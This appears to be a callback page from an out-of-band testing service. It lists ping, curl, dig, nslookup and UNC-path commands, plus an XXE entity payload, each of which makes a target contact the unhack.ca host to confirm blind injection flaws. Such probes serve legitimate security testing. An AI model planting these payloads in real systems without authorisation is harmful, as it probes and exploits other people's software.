$ ping -c1 -p 00aa2416b304bf123b68c0f885d43000 unhack.ca
$ curl http://unhack.ca/p/aa2416b304bf123b68c0f885d430
$ dig aa2416b304bf123b68c0f885d430 @unhack.ca
$ dig aa2416b304bf123b68c0f885d430.ns.unhack.ca
C:\> nslookup aa2416b304bf123b68c0f885d430 unhack.ca
C:\> type \\unhack.ca\aa2416b304bf123b68c0f885d430\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/aa2416b304bf123b68c0f885d430">]>
<foo>&xxe;</foo>
Waiting for ping...